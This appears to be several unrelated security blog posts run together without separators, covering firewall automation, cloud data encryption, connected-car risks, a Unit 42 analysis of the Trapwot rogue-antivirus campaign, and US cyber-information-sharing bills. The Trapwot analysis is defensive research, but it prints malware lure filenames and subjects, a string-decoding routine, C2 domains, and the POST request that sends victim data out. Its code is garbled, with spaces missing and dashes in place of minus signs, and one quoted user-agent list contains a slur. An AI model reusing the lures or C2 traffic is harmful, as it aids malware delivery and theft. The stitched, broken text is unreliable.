One of my roles in the company is to participate in our regular new hire training, and in our last session, I was asked a question that I had never been asked before. The question was, “What is the coolest feature in your product that not everyone knows about?” While there are many, many very cool features in our product, without hesitation I told them that it is actually a combination of three features that allow customers to collect external data and use it to automate firewall deployment and policy updates.
Let me explain.
To be specific, the three cool features I am referring to are the XML API, Dynamic Address Groups (DAG) and Virtual Machine Monitoring (VM-Monitoring). They are standard PAN-OS features and are supported in both our virtualized and appliance-based form factor firewalls. I believe the reason users don’t know about them is that they see these three features as being primarily applicable to managing the dynamic nature of virtualized environments, ensuring that security keeps pace with business.
But the best-kept secret around these features is that they are equally valuable when used with our appliance form-factor firewalls. Just think about the external data sources that you may refer to regularly and then use (manually) to manage your network security. Now imagine if there was a way to automate those tedious, day-to-day tasks. You understand the value these features might provide.
It’s true that they are invaluable in a virtualized environment because they facilitate two forms of automation:
They help automate the provisioning of a VM-Series firewall so that when new virtual machines are created, our next-generation firewall can be deployed simultaneously.
They bring a sense of order to policy chaos by updating policies dynamically as virtualized and hardware form-factor workloads are added, changed or removed.
In a virtualized environment, change is common and happens rapidly. But often security, as part of a set of best practices, follows a more rigid change control process that may mean delays. Therefore, the value of these three features is they allow security to keep pace with the speed of change in virtualized environments. You can preserve the flexibility of a virtualized environment and ensure important security updates get made just as rapidly. Here are two other examples of how these features solve a variety of challenges using our appliances:
Automating the deployment of hundreds of physical firewalls: Imagine the challenge of deploying our firewall appliance to hundreds of remote locations, quickly, consistently and cost-effectively. The solution for this customer was a strict adherence to IP addressing on the networking side that they mapped to named objects in PAN-OS such as “External_IP”, “Wireless_network”, and “Wired_workstations”. The objects are then used in Panorama Templates and the IP addresses are dynamically provisioned, greatly simplifying firewall deployment. One of our firewalls is sent to the remote location, they are connected to the network and Panorama is used to deliver the configuration via a Template. Device Groups are then used to complete the setup.
Enabling policy creation that accompanies IT asset allocation: In another example of how these three features can enable dynamic policy updates, a customer is integrating our firewall with their IT ticketing solution (ServiceNow) as a means of generating policy updates as new IT assets are deployed. In this scenario, the new asset (PC, Workstation, Laptop) IP address is harvested and pulled into the firewall as part of the policy update.
Most security professionals have too many things to do in a single day. The ability use the XMP API, DAG and VM-Monitoring to tie our enterprise security platform, both virtualized or physical form-factor, into external data sources as a means of automating what are normally manual and time consuming tasks is a wickedly cool feature.
Got a cool example of how you use any of these features? Comment and let us know.
Enterprises are pushing more sensitive and regulated data into the public cloud than ever before. But the journey carries many new risks.
When thinking about protecting data in the cloud, there are three areas of use that security and privacy professionals need to consider: data in motion, data at rest and data in use. In a nutshell, the data leaves your environment and goes from to point A (your network) to B (the cloud); within point B it gets initially processed and stored within a database, and then is pulled out of that database for processing. Each of these phases carries risk:
The first area, data in motion, is the most well known and understood. The goal of protecting data in motion is to prevent a third party from eavesdropping on a conversation on the transmission wire.
The next key area, data at rest, is also relatively well understood. Data at rest is essentially the data that is stored persistently in some form, as a file, in a database, etc. The goal of protecting data at rest is to prevent a third party from reading the data, should they gain access to the data in its persistent form (for example, when an attacker gains access to the file system and opens or copies the files).
Data in use is, effectively, the data that has been loaded into a process and is in the memory of the program that is running. In general, this data is in the clear while being processed and is typically not protected by techniques such as the in-cloud based encryption provided by Cloud Service Providers (CSPs).
In each of these three phases, there are security mitigation techniques that address the corresponding issues. Several approaches need to be evaluated, and at minimum, enterprises need to explore what their CSPs have to offer:
Data in Motion: Cryptographic protocols, such as Secure Sockets Layer (SSL) or Transport Layer Security (TLS), are typically used for protecting data in motion by establishing an encrypted and authenticated channel. Note that the data payload inside the transportation layer is still in the clear, so exploring encrypting the data itself versus (or in addition to) encrypting the wrapper should be evaluated.
Data at Rest: To protect this data, database solutions used by CSPs offer a variety of tools for encryption operations, such as transparent data encryption (which encrypts the database blocks on disk) or column encryption (which directly encrypts the column values). Moreover, there are several techniques that can be employed to encrypt file contents including encrypted file systems and block level encryption techniques.
You should note that a big concern regarding the encryption of data at rest in a cloud environment is who owns the keys, and where the keys physically reside. The benefits of data at rest protection are somewhat weakened if the data, and the key used to encrypt the data, are both stored in a less trusted security zone, such as the CSP’s environment. In response, CSPs are innovating in this space and are developing techniques whereby the enterprise, not the cloud service provider, can at least virtually owns the keys securing data at rest (even though they physically reside elsewhere).
Data in Use: In this case, data is in the clear while being processed and is not protected by techniques such as the in-cloud based encryption provided by the CSP. The Cloud application actually needs to decrypt data from its encrypted at rest state in order to perform any and all required application processing within the CSP datacenter. A new category of technologies focusing on data protection — dubbed by Gartner as cloud access security brokers (CASB) — is a solution to explore here. These solutions can encrypt data before it leaves the enterprise to provide protection during the data in use phase, as well as the other data lifecycle phases. Enterprises considering these technologies should ensure that they evaluate them to identify any impact they may have on the functionality of their cloud applications. (Disclosure: Perspecsys is one of many CASB vendors with this technology).
As cloud adoption pushes greater volumes of sensitive and regulated data into cloud-based SaaS applications, it’s more important than ever for security and compliance professionals to ask the right questions about where cloud data is flowing, who has access to it and what protection mechanisms can be put in place to mitigate risks.
There is a revolution taking place in the automotive industry that will affect nearly every car owner, driver and passenger. It is the introduction of connected cars and the promise of enhanced safety and convenience.
With that promise comes massive security and privacy risk. After all, cars will be operated by highly intelligent computing devices that can be accessed remotely. Driver override will be built-in, but malicious tampering is possible. And in this case, there is absolutely no margin for error.
Having connected cars is fantastic and is the way the industry and society have been progressing, but not without questioning the concept and not without the assurance that the system cannot be compromised. It is critical that we ensure customers that a hacker cannot take over operation of the vehicle. And so far, it has been proven that this is possible today.
The benefits can go from having metrics about your driving style to preventing an accident. For example, a connected car can know the best route and where gas stations or restaurants are located. Although you could have these tools on other devices, the real value comes from optimizing fuel consumption and providing the best advice on how to drive safely and even taking control (with the right parameters in place), if necessary. A connected car is, or can be, intelligent, autonomous and smart.
The safety benefits of connected cars are very clear. A driver can be located in a dangerous situation, the car can be traced if stolen and the vehicle could potentially be locked if the driver is not the approved one. On the other hand, we need to understand that we are talking about identity management, authenticity and accountability. We need to understand that data can potentially be used against us if we do something wrong while driving.
As a potential user of a connected car, I would first ask what is really at stake. I would think about all the “what if” scenarios so I could fully understand the different roles the car will play in terms of advice, taking control, providing information and collecting information. Let me emphasize the importance of not only being a driving aid (which is at the core of a connected car), but that it also collects and potentially shares information about driving behaviors. I would try to clearly understand all aspects of privacy when purchasing a car that will “learn” a great amount of information about me.
Protecting user information is critical, both technical and legal. In terms of technical protection, vendors need to ensure that the system is robust and solid, that it has been hardened and that it is impossible to access it from places other than the “guaranteed” ones. If we consider a system that cannot be accessed remotely and does not allow a third party to take control of the car, that would make the vehicle less connected—which is something that we do not want. Thus, we have to ensure that the proper communication channels have been established. For this, vendors must be certain that the technology they deploy is safe and bug-free. On the legal side, a driver will have to agree with the collection and sharing of personal information. That is something that can fundamentally change and challenge our approach to driving.
It has been proven that hackers can take control of some models of electric cars. Remember, there’s a computer inside the car, standard protocols to connect to the Internet and operating systems that might have some flaws. Millions of cars provide a good customer base for the bad guys to try. And, while that may not make the bad guys money, it will certainly be something governments must monitor since a terrorist attack on thousands of vehicles would have a massive impact on society.
As with previous advances in technology, our prediction is that the market for connected cars will expand and change very rapidly. As a society, we will have to look at the legal ramifications and accept the sharing of data. If we accept that, we accept things such as the car taking control in heavy traffic. Sometimes we are pushed by technology that we do not really understand, but that is nice for us to use. We believe that focusing only on the benefits is short-sighted and we always appreciate the risk assessment approach—understanding what is at stake and if the benefits outweigh the risks or not.
Integrity is key in every security program, and even more so with connected cars. Making sure that the information is correct, and that it has not been altered by a third party is critical to success. A connected car, and the way it collects and correlates information, will be transparent for the user, much like a black box on a plane. Integrity is fundamental so that we know that data is the original and reliable. This is one of the key aspects of the validity of the information of a connected car.
Ramses Gallego
Security strategist and evangelist, Dell Software
ISACA International Vice President
In recent weeks, Unit 42 has been monitoring a new e-mail campaign distributing the Trapwot malware family. The Trapwot malware family is considered “scareware” or “rogue antivirus” because it attempts to mislead victims into believing their machine is infected with malware. It disguises itself as an anti-virus product, and attempts to encourage users into purchasing a non-existent protection.
In total, our AutoFocus threat intelligence service has collected 380,000 emails carrying Trapwot in the past 30 days. These 380,000 e-mails have contained over 5,400 unique malware samples. These attacks have primarily targeted the insurance, higher education, and healthcare industries.
Trapwot is just one of many variants of Rogue Antivirus programs that currently plague users. Readers should be skeptical of pop-ups that suggest their system is infected with malware and ask them to purchase a new product. As always, users should also avoid opening attachments delivered over e-mail that they are not expecting, no matter how enticing the content may be.
Malware Distribution and Targets
The attackers behind Trapwot are distributing it via e-mail, likely through a spam botnet. The following world map demonstrates the distributed nature of the origin of these emails.
Figure 1. Trapwot Source Countries Shown in AutoFocus
Figure 2. Trapwot E-mail Timeline in AutoFocus
Executables with a filename suffix of ‘.scr’ were attached to emails distributed in this campaign. Filenames varied, however, they typically were formatted in one of the following ways:
DOC_[random_numbers]-PDF.scr
PIC[random_numbers]-JPG.scr
Subjects for these emails varied as well. For emails sent with the ‘DOC_’ attachment names, the following subjects were seen.
Read as soon as possible
Document #87
Order #371
Your order #624
Important
Additionally, for emails sent with the ‘PIC’ attachment names, the following subjects were seen.
Pretty or ugly?
Should I upload this picture on facebook?
My private photo for you
Do you think I’m attractive?
Check out this picture
The spam email itself largely targeted the insurance and higher education industries, with roughly 120,000 and 93,000 emails received respectively. (Please note that the 120,000 number for insurance is slightly misleading as all but 1,600 of those emails were received by a single, large insurance company.)
The healthcare industry has also seen roughly 31,000 emails carrying Trapwot.
Figure 3. Trapwot Targeted Industries in AutoFocus
Overall, the malware is primarily seen targeting the United States. However, the high number of samples targeting the large insurance provider likely account for this. As we can see in the diagram below, this malware is being distributed to many countries across the globe.
Figure 4. Trapwot Destination Countries Shown in AutoFocus
Stage One Downloader
In the event an unsuspecting user were to open one of the attached executable files, the malware would download a remote executable file to the victim’s machine prior to executing it.
A number of obfuscated strings are encountered within the stage one downloader. The following function is used to decode these strings:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def decode(str):
out=“”
forxinstr:
o=ord(x)
ifo<=109andx.isalpha()andx.islower():
out+=chr(o+13)
elifo<=77andx.isalpha()andx.isupper():
out+=chr(o+13)
elifo>=110andx.isalpha()andx.islower():
out+=chr(o–13)
elifo>=78andx.isalpha()andx.isupper():
out+=chr(o–13)
else:
out+=x
returnout
Please refer to this IDAPython script that may be used to automatically decrypt strings encountered in the stage one downloader. These decoded strings are used to both load functions and libraries dynamically, as well as to obfuscate the URLs embedded within the malware. The following URLs were discovered in this sample.
The second stage is downloaded using a minimalistic HTTP request, as we can see below.
Figure 5. Stage One Downloader HTTP Request
The user-agents witnessed in this campaign demonstrate a sense of immaturity on the attacker’s part. Other user-agents witnessed include the following:
wutz0r
supz0r
jackpot
cashmayne
cash
letsgo
faggots
checkin
kash
suckmyballz
Once downloaded, the file is written to %TEMP%\winmgr.exe. It is then executed using a call to the CreateProcessA function. Finally, the malware displays a message box with the following text.
Title: Microsoft Photo Viewer
Message: windrcs32.dll cannot be found.
This sample had the original filename of ‘PIC9811322311-JPG.scr,’ which explains why the message box has the title of ‘Microsoft Photo Viewer.’
Stage Two Downloader and Trapwot
When the stage two payload is executed, the malware begins by decrypting embedded URLs within the file using a single-byte XOR key of 0x65. Once decrypted, the following domains were discovered in this particular sample:
updatemarketltd[.]in
mastertodayversion[.]eu
Stage two proceeds to check the current time and make a comparison against a statically set time. In the event the current time is later than this time, no malicious activity will occur.
Figure 6. Stage Two Kill Timer
In addition to the single-byte XOR string encryption, the stage two downloader also encrypts a number of strings using the XXTEA encryption algorithm. The following static key, represented in hexadecimal notation, is used to decrypt these embedded encrypted strings.
The malware proceeds to collect the following information from the victim machine. This information will be exfiltrated when the sample downloads Trapwot shortly.
Microsoft Windows Operating System Version
Operating System Language
Malware Install Path
Default Web Browser
Malware Process Integrity Level
Once this data has been collected, the malware will attempt to send the following POST request.
POST /a/offers?i=0&u=548621bc51c9415ebaba30e0a9c1d8bb&f=1&v=21&a=119 HTTP/1.1
Host: mastertodayversion[.]eu
Content-Length: 69
Cache-Control: no-cache
[binary content]
In the above request, there are four GET parameters. The following parameters have been identified:
i : Incrementing counter
u : Victim machine GUID
f : Static value. Potentially indicates version of malware
a : Integer generated using byte one and byte two of the executable’s PE timestamp
The following example binary content is sent in this POST request.
00000000 b0 a1 a5 a5 95 a5 a5 b7 a1 a5 a3 a4 14 b8 b6 a7 |…………….|
00000010 a5 ac a1 b3 81 a5 e6 9f f9 f0 d6 c0 d7 d6 f9 e4 |…………….|
00000020 c1 c8 cc cb cc d6 d1 d7 c4 d1 ca d7 f9 c8 c9 d2 |…………….|
00000030 d7 fa d6 c8 d5 c9 8b c0 dd c0 b1 ad a5 cc c0 dd |…………….|
00000040 d5 c9 ca d7 c0 |…..|
This binary data is first encrypted using a single-byte XOR key of 0xA5. The underlying data has the following structure.
Figure 7. Victim Information Data Structure
This data includes the previously gathered victim information. Please refer to this provided Python script that can be used to decrypt and parse this data.
Should the remote server be active, it will respond with binary content that includes an encrypted DLL file. This binary content has the following structure.
Figure 8. Trapwot Downloaded DLL Structure
This DLL is encrypted and written to disk. Finally, the stage two downloader will identify the DLL’s EntryPoint prior to calling this function.
This DLL contains the actual Trapwot malware itself, which is responsible for spawning a fake anti-virus scanner and encouraging victims to buy the phony product, as seen below. Additionally, the malware may block access to legitimate websites and/or websites belonging to legitimate anti-virus vendors.
Figure 9. False ‘Security Defender’ Scanner
Figure 10. False ‘Action Center’ Display
Figure 11. False Virus Detection Alert
Figure 12. Trapwot False Purchase Page
Conclusion
Overall, Trapwot is not an especially new malware family, as it dates back to early November 2014. However, the malware is certainly dangerous as it can hinder performance and functionality on an infected machine. Palo Alto Networks AutoFocus platform enabled Unit 42 to identify and track this campaign, which accounted for hundreds of thousands of emails. This particular campaign targeted a large number of clients in the previous weeks.
Readers should be skeptical of pop-ups that suggest their system is infected with malware and ask them to purchase a new product. As always, users should also avoid opening attachments delivered over e-mail that they are not expecting, no matter how enticing the content may be.
News over the past year has focused the world’s attention on issues surrounding cybersecurity—notably that cyber attacks emerged as a top technology risk in the World Economic Forum’s Global Risks 2015 report. In April, US President Barack Obama declared cybercrime a national emergency and signed an executive order authorizing new sanctions against individuals and groups deemed responsible for cyberattacks.
The attention resonated with consumers, business leaders and legislators alike.
Mixed together with news of the Sony Corporation breach and other retail hacking occurrences, awareness of the need for increased cybersecurity focus has been at a high level. Now there is even more—but this time the news is about the US House of Representatives passage of two cybersecurity information sharing bills: Protecting Cyber Networks Act (PCNA) and National Cybersecurity Protection Advancement (NCPA) Act.
PCNA aims to defend against cyberattacks through the creation of a framework for the voluntary sharing of cyber threat information between private entities and the federal government. Importantly, it includes liability protection for those companies who choose to participate.
NCPA is similar to PCNA, with the distinction being that it encourages voluntary information sharing about cyber threats between the private sector and the Department of Homeland Security.
To help cybersecurity professionals understand the importance of these two new acts, ISACA has added a new CSX Special Reportto its Cybersecurity Legislation Watch center as part of its Cybersecurity Nexus (CSX). I encourage you to take a look at the report to better understand the two acts and what this new legislation could mean for you in your role and for your enterprise.
For professionals in the cybersecurity profession the implication is crystal clear. The general business community is more aware of the challenges, and those charged with protecting their organizations from attack must be highly aware and trained, including being knowledgeable of evolving legislation, such as this.
Keeping current and positioning your organization to best take advantage of the evolving regulatory landscape is of utmost importance in today’s fast-moving cybersecurity environment. This is not a time to be caught flat-footed.
Douglas Rausch, CISSP
President, Aurora CyberSecurity Consultants, Inc.
